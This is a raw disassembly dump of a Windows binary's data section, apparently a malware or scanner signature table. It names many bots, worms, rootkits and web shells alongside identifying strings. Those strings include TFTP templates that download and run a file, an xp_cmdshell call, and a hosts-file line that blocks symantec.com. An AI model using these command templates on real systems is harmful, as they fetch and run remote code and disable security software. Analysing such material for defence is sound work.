; DATA XREF: sub_417149+155o dd 69676F4Ch, 23A296Eh, 20h dword_43EC88 dd 643223h off_43EC8C dd offset byte_633223 ; DATA XREF: sub_417149+C2o dword_43EC90 dd 6769732Fh, 736E6F6Eh, 78742E32h, 74hdword_43ECA0 dd 6769732Fh, 736E6F6Eh, 7478742Eh, 0byte_43ECB0 db 7Eh ; DATA XREF: sub_4175CF:loc_417606r ; sub_4175CF:loc_417678o align 8 dd offset aRxIrc ; "Rx IRC" off_43ECBC dd offset aIrc_0 ; DATA XREF: sub_417823+95r ; sub_417823+A3o ; "[IRC]: " dd offset aRxIrc_c ; "Rx IRC.c" dd offset aIrc ; "IRC//" dd offset aPiabot ; "PiABot" dd offset dword_441E10 dd offset dword_441E04 dd offset dword_441DF8 dd offset dword_441DF0 dd offset dword_441DE4 dd offset dword_441DD8 dd offset dword_441DC8 dd offset dword_441DBC dd offset dword_441DB4 dd offset dword_441DA4 dd offset dword_441D9C dd offset dword_441D8C dd offset dword_441D84 dd offset dword_441D78 dd offset dword_441D6C dd offset dword_441D60 dd offset dword_441D54 dd offset dword_441D48 dd offset dword_441D38 dd offset dword_441D28 dd offset dword_441D18 dd offset aRxnzm ; "RxNZM" dd offset dword_441CF4 dd offset aRxnzm_b ; "RxNZM.b" dd offset a_n_z_m_Irc_p_l ; ".n.z.m. (irc.p.l.g) .. " dd offset dword_441CC8 dd offset dword_441CA8 dd offset dword_441C9C dd offset dword_441C90 dd offset dword_441C80 dd offset dword_441C74 dd offset dword_441C68 dd offset dword_441C5C dd offset dword_441C4C dd offset dword_441C40 dd offset dword_441C38 dd offset dword_441C2C dd offset dword_441C24 dd offset loc_441C18 dd offset dword_441C10 dd offset loc_441C04 dd offset dword_441BFC dd offset dword_441BF4 dd offset dword_441BEC dd offset loc_441BE0 dd offset aRepFtpd ; "Rep FTPd" dd offset aReptileWelcome ; "Reptile welcomes you..." dd offset aStnyftpd ; "StnyFtpd" dd offset aStnyftpd0wnsJ0 ; "StnyFtpd 0wns j00" dd offset aAgobot ; "AgoBot" dd offset a220WelcomeToBo ; "220 \"Welcome to Bot FTP service.\"\r\n" dd offset aPhatbot ; "PhatBot" dd offset a220BotServerWi ; "220 Bot Server (Win32)\r\n" dd offset aTftpget_a ; "TFTPGet.a" dd offset aTftpISGetSS ; "tftp -i %s get %s &%s\n" dd offset aRxTftp ; "Rx TFTP" dd offset aTftp_0 ; "[TFTP]" dd offset aTftpget_b ; "TFTPGet.b" dd offset aCmdCTftpISGetS ; "cmd /c tftp -i %s GET %s &start %s &exi"... dd offset dword_441AD4 dd offset loc_441AC8 dd offset dword_441AC0 dd offset dword_441AB4 dd offset dword_441AA4 dd offset dword_441A98 dd offset dword_441A90 dd offset dword_441A84 dd offset dword_441A7C dd offset loc_441A70 dd offset aC101 ; "C101" dd offset dword_441A5C dd offset off_441A58 dd offset a3GsUT ; "3Ƀt" dd offset aNetapi4444bind ; "Netapi4444Bind" dd offset dword_441A30 dd offset off_441A2C dd offset dword_441A20 dd offset aQ8 ; "Q8" dd offset aWeBackLooooooo ; "We BaCk LoooooooooooOOOOOOOOOOOOOooo" dd offset aRmact ; "RMACT" dd offset dword_4419E0 dd offset dword_4419D0 dd offset dword_4419C0 dd offset dword_4419B0 dd offset dword_4419A0 dd offset aLinkbot_dcom_b ; "Linkbot.dcom.b" dd offset aDcom2_c ; "dcom2.c:" dd offset aLinkbot_dcom_c ; "Linkbot.dcom.c" dd offset aDcom2 ; "dcom2:" dd offset aLinkbot_rpc ; "Linkbot.RPC" dd offset aRpc_c ; "RPC.c:" dd offset aOtherbot_a ; "Otherbot.a" dd offset aScan_start ; "scan.start" dd offset aOtherbot_b ; "Otherbot.b" dd offset aRoot_start ; "root.start" dd offset aIroffer_a ; "Iroffer.a" dd offset aHttpIroffer_or ; "http://iroffer.org/" dd offset aIroffer_b ; "Iroffer.b" dd offset aTotalOffered1_ ; "Total Offered: %1.1f MB Total Transfer"... dd offset aIrofferAll ; "Iroffer-All" dd offset aSendingYouPack ; "** Sending you pack #%i (\"%s\"), which i"... dd offset dword_441868 dd offset dword_441860 dd offset aMydoom_b ; "MyDoom.B" dd offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"... dd offset aMydoom_c ; "MyDoom.C" dd offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"... dd offset aBlaster ; "Blaster" dd offset dword_4417C0 dd offset aZotobForbotMod ; "Zotob/ForBot Mods" dd offset aAddexExinfo ; "AddEx(exinfo)" dd offset aWelchia_a ; "Welchia.a" dd offset aRpcpatch_mutex ; "RpcPatch_Mutex" dd offset dword_441774 dd offset dword_4417C0 dd offset dword_441768 dd offset dword_441754 dd offset aChangehosts ; "ChangeHosts" dd offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.symantec.com\n" dd offset dword_441718 dd offset dword_44170C dd offset dword_441704 dd offset dword_4416F0 dd offset aPnp_b ; "PNP.b" dd offset a8d9f4e40A03d11 ; "8d9f4e40-a03d-11ce-8f69-08003e30051b" dd offset aMssql_a ; "MSSQL.A" dd offset aThcthcthcthcth ; "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"... dd offset aMssql_b ; "MSSQL.B" dd offset aExecMaster__xp ; "EXEC master..xp_cmdshell" dd offset aWebdav ; "WebDav" dd offset loc_44164C dd offset aRxMain ; "Rx Main" dd offset aMain_0 ; "[MAIN]: " dd offset aIis5ssl ; "IIS5SSL" dd offset byte_441620 dd offset aVncscan ; "VNCScan" dd offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe" dd offset aNetdevil ; "NetDevil" dd offset aPleaz_runS ; "pleaz_run%s" dd offset aOptix ; "Optix" dd offset a022moptestmv1_ ; "022OPtestv1.1\r\n" dd offset loc_4415B7+5 dd offset loc_4415B3+1 dd offset aOld4444shell ; "Old4444Shell" dd offset loc_441598 dd offset dword_44158C dd offset dword_441578 dd offset dword_441568 dd offset loc_441554 dd offset dword_441544 dd offset loc_441530 dd offset dword_441520 dd offset dword_44150C dd offset dword_441500 dd offset loc_4414E8 dd offset aTaskhider ; "TaskHider" dd offset unk_4414C4 dd offset aBobic_a ; "Bobic.A" dd offset aOsamaBinLadenC ; "Osama Bin Laden Captured." dd offset aBobic_b ; "Bobic.B" dd offset aDonateToTheHur ; "Donate to the Hurricane Katrina relief "... dd offset aBeagle ; "Beagle" dd offset dword_44144C dd offset aMsblast ; "MsBlast" dd offset aWindowsupdate_ ; "windowsupdate.com" dd offset aLowerzones ; "LowerZones" dd offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd offset aHiderGui ; "Hider-Gui" dd offset aSoftwareAdrian ; "Software\\Adrian Lopez\\HideWindow\\Prefer"... dd offset aHiderun ; "HideRun" dd offset aHiderunHiddenA ; "HideRun -- hidden application launcher."... dd offset aR57 ; "r57" dd offset aI2luy2x1zgugph ; "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA"... dd offset aC99 ; "c99" dd offset aR0lgodlhfaauak ; "R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaG"... dd offset aDcomOldScan ; "Dcom-Old-Scan" dd offset aPipeEpmapper ; "pipe\\epmapper\\" dd offset aNircomline ; "NirComLine" dd offset aNircomline ; "NirComLine" dd offset aMsnbot_a ; "MSNBot.a" dd offset aStaticConstCha ; "static const char *msg_english[] = {" dd offset aMsnbot_b ; "MSNBot.b" dd offset aImportMsnMsnme ; "#import \"MSN/MSNMessengerAPI.tlb\" named"... dd offset aFu_rootkit_a ; "FU.Rootkit.a" dd offset aDefineFile_dev ; "#define FILE_DEVICE_ROOTKIT 0x0000"... dd offset aFu_rootkit_b ; "FU.Rootkit.b" dd offset aConstWcharDevi ; "const WCHAR deviceNameBuffer[] = L\"\\De"... dd offset aFu_rootkit_c ; "FU.Rootkit.c" dd offset aStaticCharAc_d ; "static CHAR ac_driverName[] = \"msdirect"... dd offset aFu_rootkit_dri ; "FU.Rootkit.Driver" dd offset dword_441020 dd offset aFu_driver_a ; "FU.Driver.a" dd offset aRdriv_sys ; "rdriv.sys" dd offset aFu_driver_b ; "FU.Driver.b" dd offset aMsdirectx_sys ; "msdirectx.sys" dd offset aHe4hookrootkit ; "He4HookRootkit-v2.15b" dd offset aDefineHe4_hook ; "#define HE4_HOOK_INV_VERSION 0x20001"... dd offset aWolf_kit ; "Wolf.Kit" dd offset aStrncpyWolffdi ; "strncpy(wolffdir, xdccdir, MAX_PATH); s"... dd offset aFiredaemon_a ; "FireDaemon.a" dd offset aCopyrightC2007 ; "Copyright (c) 2007 FireDaemon Technolog"... dd offset aFiredaemon_b ; "FireDaemon.b" dd offset aHttpWww_fireda ; "http://www.firedaemon.com" align 10h off_43F000 dd offset loc_439030 ; DATA XREF: sub_417A90:loc_417B46r dd offset aWmsoft_exe ; "wmsoft*.exe" dd offset aNview_exe ; "nview.exe" dd offset aSview_exe ; "sview.exe" dd offset aNvuninst_exe ; "NVUNINST.EXE" dd offset aNvsvc32_exe ; "nvsvc32.exe" dd offset aNvudisp_exe ; "nvudisp.exe" dd offset aNvappbar_exe ; "nvappbar.exe" dd offset aNvcolor_exe ; "nvcolor.exe" dd offset aNvdspsch_exe ; "nvdspsch.exe" dd offset aNvcplui_exe ; "nvcplui.exe" dd offset aNwiz_exe ; "nwiz.exe" dd offset aKeystone_exe ; "keystone.exe" dd offset aHdashcut_exe ; "HDAShCut.exe" dd offset aAccwiz_exe ; "accwiz.exe" dd offset aActmovie_exe ; "actmovie.exe" dd offset aAhui_exe ; "ahui.exe" dd offset aAlg_exe ; "alg.exe" dd offset aAppend_exe ; "append.exe" dd offset aArp_exe ; "arp.exe" dd offset aAsr_fmt_exe ; "asr_fmt.exe" dd offset aAsr_ldm_exe ; "asr_ldm.exe" dd offset aAsr_pfu_exe ; "asr_pfu.exe" dd offset aAt_exe ; "at.exe" dd offset aAti2evxx_exe ; "ati2evxx.exe" dd offset aAti2mdxx_exe ; "Ati2mdxx.exe" dd offset aAtmadm_exe ; "atmadm.exe" dd offset aAttrib_exe ; "attrib.exe" dd offset aAuditusr_exe ; "auditusr.exe" dd offset aAutochk_exe ; "autochk.exe" dd offset aAutoconv_exe ; "autoconv.exe" dd offset aAutofmt_exe ; "autofmt.exe" dd offset aAutolfn_exe ; "autolfn.exe" dd offset aBlastcln_exe ; "blastcln.exe" dd offset aBootcfg_exe ; "bootcfg.exe" dd offset aBootok_exe ; "bootok.exe" dd offset aBootvrfy_exe ; "bootvrfy.exe" dd offset aCacls_exe ; "cacls.exe" dd offset aCalc_exe ; "calc.exe" dd offset aCharmap_exe ; "charmap.exe" dd offset aChcfg_exe ; "ChCfg.exe" dd offset aChkdsk_exe ; "chkdsk.exe" dd offset aChkntfs_exe ; "chkntfs.exe" dd offset aCidaemon_exe ; "cidaemon.exe" dd offset aCipher_exe ; "cipher.exe" dd offset aCisvc_exe ; "cisvc.exe" dd offset aCkcnv_exe ; "ckcnv.exe" dd offset aCleanmgr_exe ; "cleanmgr.exe" dd offset aCliconfg_exe ; "cliconfg.exe" dd offset aClipbrd_exe ; "clipbrd.exe" dd offset aClipsrv_exe ; "clipsrv.exe" dd offset aClspack_exe ; "clspack.exe" dd offset aCmd_exe ; "cmd.exe" dd offset aCmdl32_exe ; "cmdl32.exe" dd offset aCmmon32_exe ; "cmmon32.exe" dd offset aCmstp_exe ; "cmstp.exe" dd offset aComp_exe ; "comp.exe" dd offset aCompact_exe ; "compact.exe" dd offset aConime_exe ; "conime.exe" dd offset aControl_exe ; "control.exe" dd offset aConvert_exe ; "convert.exe" dd offset aCscript_exe ; "cscript.exe" dd offset aCsrss_exe ; "csrss.exe" dd offset aCtfmon_exe ; "ctfmon.exe" dd offset aDcomcnfg_exe ; "dcomcnfg.exe" dd offset aDdeshare_exe ; "ddeshare.exe" dd offset aDebug_exe ; "debug.exe" dd offset aDefrag_exe ; "defrag.exe" dd offset aDfrgfat_exe ; "dfrgfat.exe" dd offset aDfrgntfs_exe ; "dfrgntfs.exe" dd offset aDiantz_exe ; "diantz.exe" dd offset aDiskpart_exe ; "diskpart.exe" dd offset aDiskperf_exe ; "diskperf.exe" dd offset aDllhost_exe ; "dllhost.exe" dd offset aDllhst3g_exe ; "dllhst3g.exe" dd offset aDmadmin_exe ; "dmadmin.exe" dd offset aDmremote_exe ; "dmremote.exe" dd offset aDoskey_exe ; "doskey.exe" dd offset aDosx_exe ; "dosx.exe" dd offset aDplaysvr_exe ; "dplaysvr.exe" dd offset aDpnsvr_exe ; "dpnsvr.exe" dd offset aDpvsetup_exe ; "dpvsetup.exe" dd offset aDriverquery_ex ; "driverquery.exe" dd offset aDrwatson_exe ; "drwatson.exe" dd offset aDrwtsn32_exe ; "drwtsn32.exe" dd offset aDumprep_exe ; "dumprep.exe" dd offset aDvdplay_exe ; "dvdplay.exe" dd offset aDvdupgrd_exe ; "dvdupgrd.exe" dd offset aDwwin_exe ; "dwwin.exe" dd offset aDxdiag_exe ; "dxdiag.exe" dd offset aEdlin_exe ; "edlin.exe" dd offset aEsentutl_exe ; "esentutl.exe" dd offset aEudcedit_exe ; "eudcedit.exe" dd offset aEventcreate_ex ; "eventcreate.exe" dd offset aEventtriggers_ ; "eventtriggers.exe" dd offset aEventvwr_exe ; "eventvwr.exe" dd offset aExe2bin_exe ; "exe2bin.exe" dd offset aExpand_exe ; "expand.exe" dd offset aExtrac32_exe ; "extrac32.exe" dd offset aFastopen_exe ; "fastopen.exe" dd offset aFc_exe ; "fc.exe" dd offset aFind_exe ; "find.exe" dd offset aFindstr_exe ; "findstr.exe" dd offset aFinger_exe ; "finger.exe" dd offset aFixmapi_exe ; "fixmapi.exe" dd offset aFltmc_exe ; "fltMc.exe" dd offset aFontview_exe ; "fontview.exe" dd offset aForcedos_exe ; "forcedos.exe" dd offset aFreecell_exe ; "freecell.exe" dd offset aFsquirt_exe ; "fsquirt.exe" dd offset aFsutil_exe ; "fsutil.exe" dd offset aFtp_exe ; "ftp.exe" dd offset aGb2312_uce ; "gb2312.uce" dd offset aGdi_exe ; "gdi.exe" dd offset aGetmac_exe ; "getmac.exe" dd offset aGpresult_exe ; "gpresult.exe" dd offset aGpupdate_exe ; "gpupdate.exe" dd offset aGrpconv_exe ; "grpconv.exe" dd offset aHelp_exe ; "help.exe" dd offset aHostname_exe ; "hostname.exe" dd offset aIe4uinit_exe ; "ie4uinit.exe" dd offset aIexpress_exe ; "iexpress.exe" dd offset aImapi_exe ; "imapi.exe" dd offset aIpconfig_exe ; "ipconfig.exe" dd offset aIpsec6_exe ; "ipsec6.exe" dd offset aIpv6_exe ; "ipv6.exe" dd offset aIpxroute_exe ; "ipxroute.exe" dd offset aJava_exe ; "java.exe" dd offset aJavaw_exe ; "javaw.exe" dd offset aJavaws_exe ; "javaws.exe" dd offset aJdbgmgr_exe ; "jdbgmgr.exe" dd offset aJview_exe ; "jview.exe" dd offset aKrnl386_exe ; "krnl386.exe" dd offset aLabel_exe ; "label.exe" dd offset aLights_exe ; "lights.exe" dd offset aLnkstub_exe ; "lnkstub.exe" dd offset aLocator_exe ; "locator.exe" dd offset aLodctr_exe ; "lodctr.exe" dd offset aLogagent_exe ; "logagent.exe" dd offset aLogman_exe ; "logman.exe" dd offset aLogoff_exe ; "logoff.exe" dd offset aLogonui_exe ; "logonui.exe" dd offset aLpq_exe ; "lpq.exe" dd offset aLpr_exe ; "lpr.exe" dd offset aLsass_exe ; "lsass.exe" dd offset aMagnify_exe ; "magnify.exe" dd offset aMakecab_exe ; "makecab.exe" dd offset aMem_exe ; "mem.exe" dd offset aMigpwd_exe ; "migpwd.exe" dd offset aMmc_exe ; "mmc.exe" dd offset aMnmsrvc_exe ; "mnmsrvc.exe" dd offset aMobsync_exe ; "mobsync.exe" dd offset aMountvol_exe ; "mountvol.exe" dd offset aMplay32_exe ; "mplay32.exe" dd offset aMpnotify_exe ; "mpnotify.exe" dd offset aMqbkup_exe ; "mqbkup.exe" dd offset aMqsvc_exe ; "mqsvc.exe" dd offset aMqtgsvc_exe ; "mqtgsvc.exe" dd offset aMrinfo_exe ; "mrinfo.exe" dd offset aMrt_exe ; "MRT.exe" dd offset aMscdexnt_exe ; "mscdexnt.exe" dd offset aMsdtc_exe ; "msdtc.exe" dd offset aMsg_exe ; "msg.exe" dd offset aMshearts_exe ; "mshearts.exe" dd offset aMshta_exe ; "mshta.exe" dd offset aMsiexec_exe ; "msiexec.exe" dd offset aMspaint_exe ; "mspaint.exe" dd offset aMsswchx_exe ; "msswchx.exe" dd offset aMstinit_exe ; "mstinit.exe" dd offset aMstsc_exe ; "mstsc.exe" dd offset aNarrator_exe ; "narrator.exe" dd offset aNbtstat_exe ; "nbtstat.exe" dd offset aNddeapir_exe ; "nddeapir.exe" dd offset aNerocheck_exe ; "NeroCheck.exe" dd offset aNet_exe ; "net.exe" dd offset aNet1_exe ; "net1.exe" dd offset aNetdde_exe ; "netdde.exe" dd offset aNetsetup_exe ; "netsetup.exe" dd offset aNetsh_exe ; "netsh.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aNlsfunc_exe ; "nlsfunc.exe" dd offset aNotepad_exe_0 ; "notepad.exe" dd offset aNslookup_exe ; "nslookup.exe" dd offset aNtbackup_exe ; "ntbackup.exe" dd offset aNtkrnlpa_exe ; "ntkrnlpa.exe" dd offset aNtoskrnl_exe ; "ntoskrnl.exe" dd offset aNtsd_exe ; "ntsd.exe" dd offset aNtvdm_exe ; "ntvdm.exe" dd offset aNw16_exe ; "nw16.exe" dd offset aNwscript_exe ; "nwscript.exe" dd offset aOdbcad32_exe ; "odbcad32.exe" dd offset aOdbcconf_exe ; "odbcconf.exe" dd offset aOpenfiles_exe ; "openfiles.exe" dd offset aOsk_exe ; "osk.exe" dd offset aOsuninst_exe ; "osuninst.exe" dd offset aPackager_exe ; "packager.exe" dd offset aPathping_exe ; "pathping.exe" dd offset aPentnt_exe ; "pentnt.exe" dd offset aPerfmon_exe ; "perfmon.exe" dd offset aPing_exe ; "ping.exe" dd offset aPing6_exe ; "ping6.exe" dd offset aPowercfg_exe ; "powercfg.exe" dd offset aPrint_exe ; "print.exe" dd offset aProgman_exe ; "progman.exe" dd offset aProquota_exe ; "proquota.exe" dd offset aProxycfg_exe ; "proxycfg.exe" dd offset aQappsrv_exe ; "qappsrv.exe" dd offset aQprocess_exe ; "qprocess.exe" dd offset aQwinsta_exe ; "qwinsta.exe" dd offset aRasautou_exe ; "rasautou.exe" dd offset aRasdial_exe ; "rasdial.exe" dd offset aRasphone_exe ; "rasphone.exe" dd offset aRcimlby_exe ; "rcimlby.exe" dd offset aRcp_exe ; "rcp.exe" dd offset aRdpclip_exe ; "rdpclip.exe" dd offset aRdsaddin_exe ; "rdsaddin.exe" dd offset aRdshost_exe ; "rdshost.exe" dd offset aRecover_exe ; "recover.exe" dd offset aRedir_exe ; "redir.exe" dd offset aReg_exe ; "reg.exe" dd offset aRegcladm_exe ; "REGCLADM.EXE" dd offset aRegedt32_exe ; "regedt32.exe" dd offset aRegini_exe ; "regini.exe" dd offset aRegsvr32_exe ; "regsvr32.exe" dd offset aRegwiz_exe ; "regwiz.exe" dd offset aRelog_exe ; "relog.exe" dd offset aReplace_exe ; "replace.exe" dd offset aReset_exe ; "reset.exe" dd offset aRexec_exe ; "rexec.exe" dd offset aRoute_exe ; "route.exe" dd offset aRoutemon_exe ; "routemon.exe" dd offset aRsh_exe ; "rsh.exe" dd offset aRsm_exe ; "rsm.exe" dd offset aRsmsink_exe ; "rsmsink.exe" dd offset aRsmui_exe ; "rsmui.exe" dd offset aRsnotify_exe ; "rsnotify.exe" dd offset aRsopprov_exe ; "rsopprov.exe" dd offset aRsvp_exe ; "rsvp.exe" dd offset aRtcshare_exe ; "rtcshare.exe" dd offset aRtlcpl_exe ; "RTLCPL.EXE" dd offset aRunas_exe ; "runas.exe" dd offset aRundll32_exe ; "rundll32.exe" dd offset aRunonce_exe ; "runonce.exe" dd offset aRwinsta_exe ; "rwinsta.exe" dd offset aSavedump_exe ; "savedump.exe" dd offset aSc_exe ; "sc.exe" dd offset aScardsvr_exe ; "scardsvr.exe" dd offset aSchtasks_exe ; "schtasks.exe" dd offset aSdbinst_exe ; "sdbinst.exe" dd offset aSecedit_exe ; "secedit.exe" dd offset aServices_exe ; "services.exe" dd offset aSessmgr_exe ; "sessmgr.exe" dd offset aSethc_exe ; "sethc.exe" dd offset aSetup_exe ; "setup.exe" dd offset aSetver_exe ; "setver.exe" dd offset aSfc_exe ; "sfc.exe" dd offset aShadow_exe ; "shadow.exe" dd offset aShare_exe ; "share.exe" dd offset aShmgrate_exe ; "shmgrate.exe" dd offset aShrpubw_exe ; "shrpubw.exe" dd offset aShutdown_exe ; "shutdown.exe" dd offset aSigverif_exe ; "sigverif.exe" dd offset aSkeys_exe ; "skeys.exe" dd offset aSmbinst_exe ; "smbinst.exe" dd offset aSmlogsvc_exe ; "smlogsvc.exe" dd offset aSmss_exe ; "smss.exe" dd offset aSndrec32_exe ; "sndrec32.exe" dd offset aSndvol32_exe ; "sndvol32.exe" dd offset aSol_exe ; "sol.exe" dd offset aSort_exe ; "sort.exe" dd offset aSpider_exe ; "spider.exe" dd offset aSpiisupd_exe ; "spiisupd.exe" dd offset aSpnpinst_exe ; "spnpinst.exe" dd offset aSpoolsv_exe ; "spoolsv.exe" dd offset aSprestrt_exe ; "sprestrt.exe" dd offset aSpupdsvc_exe ; "spupdsvc.exe" dd offset aStimon_exe ; "stimon.exe" dd offset aSubrange_uce ; "subrange.uce" dd offset aSubst_exe ; "subst.exe" dd offset aSvchost_exe ; "svchost.exe" dd offset aSyncapp_exe ; "syncapp.exe" dd offset aSysedit_exe ; "sysedit.exe" dd offset aSyskey_exe ; "syskey.exe" dd offset aSysocmgr_exe ; "sysocmgr.exe" dd offset aSysteminfo_exe ; "systeminfo.exe" dd offset aSystray_exe ; "systray.exe" dd offset aTaskkill_exe ; "taskkill.exe" dd offset aTasklist_exe ; "tasklist.exe" dd offset aTaskman_exe_0 ; "taskman.exe" dd offset aTaskmgr_exe ; "taskmgr.exe" dd offset aTcmsetup_exe ; "tcmsetup.exe" dd offset aTcpsvcs_exe ; "tcpsvcs.exe" dd offset aTelnet_exe ; "telnet.exe" dd offset aTftp_exe ; "tftp.exe" dd offset aTlntadmn_exe ; "tlntadmn.exe" dd offset aTlntsess_exe ; "tlntsess.exe" dd offset aTlntsvr_exe ; "tlntsvr.exe" dd offset aTourstart_exe ; "tourstart.exe" dd offset aTracerpt_exe ; "tracerpt.exe" dd offset aTracert_exe ; "tracert.exe" dd offset aTracert6_exe ; "tracert6.exe" dd offset aTscon_exe ; "tscon.exe" dd offset aTscupgrd_exe ; "tscupgrd.exe" dd offset aTsdiscon_exe ; "tsdiscon.exe" dd offset aTskill_exe ; "tskill.exe" dd offset aTsshutdn_exe ; "tsshutdn.exe" dd offset aTwunk_16_exe ; "twunk_16.exe" dd offset aTwunk_32_exe ; "twunk_32.exe" dd offset aTypeperf_exe ; "typeperf.exe" dd offset aUnlodctr_exe ; "unlodctr.exe" dd offset aUpnpcont_exe ; "upnpcont.exe" dd offset aUps_exe ; "ups.exe" dd offset aUser_exe ; "user.exe" dd offset aUserinit_exe ; "userinit.exe" dd offset aUsrmlnka_exe ; "usrmlnka.exe" dd offset aUsrprbda_exe ; "usrprbda.exe" dd offset aUsrshuta_exe ; "usrshuta.exe" dd offset aUtilman_exe ; "utilman.exe" dd offset aVerclsid_exe ; "verclsid.exe" dd offset aVerifier_exe ; "verifier.exe" dd offset aViral_exe ; "viral.exe" dd offset aVssadmin_exe ; "vssadmin.exe" dd offset aVssvc_exe ; "vssvc.exe" dd offset aVwipxspx_exe ; "vwipxspx.exe" dd offset aW32tm_exe ; "w32tm.exe" dd offset aWextract_exe ; "wextract.exe" dd offset aWiaacmgr_exe ; "wiaacmgr.exe" dd offset aWinchat_exe ; "winchat.exe" dd offset aWindbver_exe ; "WINDBVER.EXE" dd offset aWinhlp32_exe ; "winhlp32.exe" dd offset aWinmine_exe ; "winmine.exe" dd offset aWinmsd_exe ; "winmsd.exe" dd offset aWinspool_exe ; "winspool.exe" dd offset aWinver_exe ; "winver.exe" dd offset aWjview_exe ; "wjview.exe" dd offset aWowdeb_exe ; "wowdeb.exe" dd offset aWowexec_exe ; "wowexec.exe" dd offset aWpabaln_exe ; "wpabaln.exe" dd offset aWpnpinst_exe ; "wpnpinst.exe" dd offset aWrite_exe ; "write.exe" dd offset aWscntfy_exe ; "wscntfy.exe" dd offset aWscript_exe ; "wscript.exe" dd offset aWuauclt_exe ; "wuauclt.exe" dd offset aWuauclt1_exe ; "wuauclt1.exe" dd offset aWupdmgr_exe ; "wupdmgr.exe" dd offset aXcopy_exe ; "xcopy.exe" dd offset aAcdsee_scr ; "ACDSee.scr" dd offset aLogon_scr ; "logon.scr" dd offset aScrnsave_scr ; "scrnsave.scr" dd offset aSeismosaver_sc ; "SeismoSaver.scr" dd offset aSs3dfo_scr ; "ss3dfo.scr" dd offset aSsbezier_scr ; "ssbezier.scr" dd offset aSsflwbox_scr ; "ssflwbox.scr" dd offset aSsmarque_scr ; "ssmarque.scr" dd offset aSsmypics_scr ; "ssmypics.scr" dd offset aSsmyst_scr ; "ssmyst.scr" dd offset aSspipes_scr ; "sspipes.scr" dd offset aSsstars_scr ; "ssstars.scr" dd offset aSstext3d_scr ; "sstext3d.scr" dd offset aSystem_2 ; "System" dd offset aDevldr32_exe ; "devldr32.exe" dd offset aInternat_exe ; "internat.exe" dd offset aAti2evxx_exe ; "ati2evxx.exe" dd offset aWudfhost_exe ; "WUDFHost.exe" dd offset aPenservice_exe ; "penservice.exe" dd offset aWmiexe_exe ; "wmiexe.exe" dd offset aWinmgmt_exe ; "winmgmt.exe" dd offset aWercon_exe ; "wercon.exe" dd offset aTaskeng_exe ; "taskeng.exe" dd offset aHkcmd_exe ; "hkcmd.exe" dd offset aHotkey_exe ; "hotkey.exe" dd offset aJusched_exe ; "jusched.exe" dd offset aPoint32_exe ; "point32.exe" dd offset aQttask_exe ; "qttask.exe" dd offset aWisptis_exe ; "wisptis.exe" dd offset aCrypserv_exe ; "crypserv.exe" dd offset aInetinfo_exe ; "inetinfo.exe" dd offset aIgfxpers_exe ; "igfxpers.exe" dd offset aIgfxtray_exe ; "igfxtray.exe" dd offset aPctspk_exe ; "pctspk.exe" dd offset aMstask_exe ; "mstask.exe" dd offset aSmagent_exe ; "smagent.exe" dd offset aNmssvc_exe ; "nmssvc.exe" dd offset aHpsysdrv_exe ; "hpsysdrv.exe" dd offset aHpcmpmgr_exe ; "hpcmpmgr.exe" dd offset aNhksrv_exe ; "nhksrv.exe" dd offset aHpzipm12_exe ; "HPZipm12.exe" dd offset aCli_exe ; "cli.exe" dd offset aTphkmgr_exe ; "TPHKMGR.exe" dd offset aSmax4pnp_exe ; "smax4pnp.exe" dd offset aLoadqm_exe ; "loadqm.exe" dd offset aLexbces_exe ; "lexbces.exe" dd offset aDwm_exe ; "dwm.exe" dd offset aLsm_exe ; "lsm.exe" dd offset aMdm_exe ; "mdm.exe" dd offset aMssearch_exe ; "mssearch.exe" dd offset aRegsvc_exe ; "regsvc.exe" dd offset aSdclt_exe ; "sdclt.exe" dd offset aSlsvc_exe ; "slsvc.exe" align 10h off_43F640 dd offset loc_439030 ; DATA XREF: sub_417A90:loc_417B83r dd offset aWmsoft_exe ; "wmsoft*.exe" dd offset aAlcmtr_exe ; "ALCMTR.EXE" dd offset aAlcwzrd_exe ; "ALCWZRD.EXE" dd offset aHdashcut_exe ; "HDAShCut.exe" dd offset aRthdcpl_exe ; "RTHDCPL.EXE" dd offset aRtlcpl_exe ; "RTLCPL.EXE" dd offset aMiccal_exe ; "MicCal.exe" dd offset aRtlupd_exe ; "RtlUpd.exe" dd offset aAlcrmv_exe ; "alcrmv.exe" dd offset aAlcupd_exe ; "alcupd.exe" dd offset aExplorer_exe_0 ; "explorer.exe" dd offset aHh_exe ; "hh.exe" dd offset aIsuninst_exe ; "IsUninst.exe" dd offset aIun6002_exe ; "iun6002.exe" dd offset aNotepad_exe ; "NOTEPAD.EXE" dd offset aRegedit_exe ; "regedit.exe" dd offset aRegtlib_exe ; "REGTLIB.EXE" dd offset aSetdebug_exe ; "setdebug.exe" dd offset aSetup1_exe ; "Setup1.exe" dd offset aSoundman_exe ; "SOUNDMAN.EXE" dd offset aSt6unst_exe ; "ST6UNST.EXE" dd offset aTaskman_exe ; "TASKMAN.EXE" dd offset aTwunk_16_exe ; "twunk_16.exe" dd offset aTwunk_32_exe ; "twunk_32.exe" dd offset aWinhelp_exe ; "winhelp.exe" dd offset aWinhlp32_exe ; "winhlp32.exe" dd offset aSystem_2 ; "System" dd offset aHtpatch_exe ; "htpatch.exe" dd offset aPoint32_exe ; "point32.exe" dd offset aSmagent_exe ; "smagent.exe" dd offset aSmax4pnp_exe ; "smax4pnp.exe" dd offset aSound_exe ; "*sound*.exe" align 8 off_43F6C8 dd offset loc_439030 ; DATA XREF: sub_417A90:loc_417BC0r dd offset aWmsoft_exe ; "wmsoft*.exe" dd offset aWmpcodecs_exe ; "wmpcodecs.exe" dd offset aMsxml32_exe ; "msxml32.exe" dd offset aMsnmsgr_exe ; "msnmsgr.exe" dd offset aWmiprvse_exe ; "wmiprvse.exe" dd offset aMsmsgs_exe ; "msmsgs.exe" dd offset aMirc_exe ; "mirc.exe" dd offset aXchat_exe ; "xchat.exe" dd offset aFirefox_exe ; "firefox.exe" dd offset aThunderbird_ex ; "thunderbird.exe" dd offset dword_43F8D0 dd offset dword_43F8C4 dd offset 